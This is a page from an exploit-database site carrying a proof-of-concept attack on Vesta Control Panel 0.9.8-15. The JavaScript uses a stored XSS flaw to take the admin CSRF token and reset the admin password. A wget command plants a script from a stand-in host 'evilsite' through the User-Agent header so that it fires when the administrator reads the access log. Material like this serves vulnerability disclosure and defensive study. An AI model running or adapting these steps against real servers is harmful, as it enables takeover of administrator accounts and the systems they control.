0day.today - Biggest Exploit Database in the World.
![](/img/logo_green.jpg)
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earnGOLD
Administration of this site uses the official contacts. Beware of impostors!
![We DO NOT use Telegram or any messengers / social networks!](/img/no_telegram_big.png)
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Vesta Control Panel 0.9.8-15 - Persistent Cross-Site Scripting
# Exploit Title :Vesta Control Panel <= 0.9.8-15 - Persistent XSS Vulnerability # Vendor Homepage :http://www.vestacp.com # Version :0.9.8-15 # Exploit Author :Necmettin COSKUN @babayarisi # Blog :http://ha.cker.io # Discovery date :16/02/2016 # Tested on :Fedora23 - Chrome/Firefox/Maxthon We can use user-agent information to attack website like this. First of all we change our user-agent and add some dangerous javascript code ( XSS etc. ) and then we request to one of the website on target server then it is saved on access.log by server so when Administrator reads it the javascript code works that we added our user-agent information. Poc Exploit ================ 1.Prepare evil js file function csrfWithToken(url,hanimisToken,password){ $.get(url, function(gelen) { $('body').append($(gelen)); $('form[id="vstobjects"]').css("display","none"); var token = $(hanimisToken).attr("token"); $('form[id="vstobjects"]').attr("action",url); $('input[name="v_password"]').val(password); $('form[id="vstobjects"]').submit(); }); }; //password = 1234567 csrfWithToken("/edit/user/?user=admin","#token","123456"); 2. Make a Get request with evil user-agent to victim server wget --header="Accept: text/html" --user-agent="<script src='http://evilsite/evil.js'></script>" http://victimserver 3. We wait Administrator to read access.log that injected our evil.js 4. We log-in VestaCP via password we changed http(s)://victim:8083/ Discovered by: ================ Necmettin COSKUN |GrisapkaGuvenlikGrubu|4ewa2getha! # 0day.today [2024-08-22] #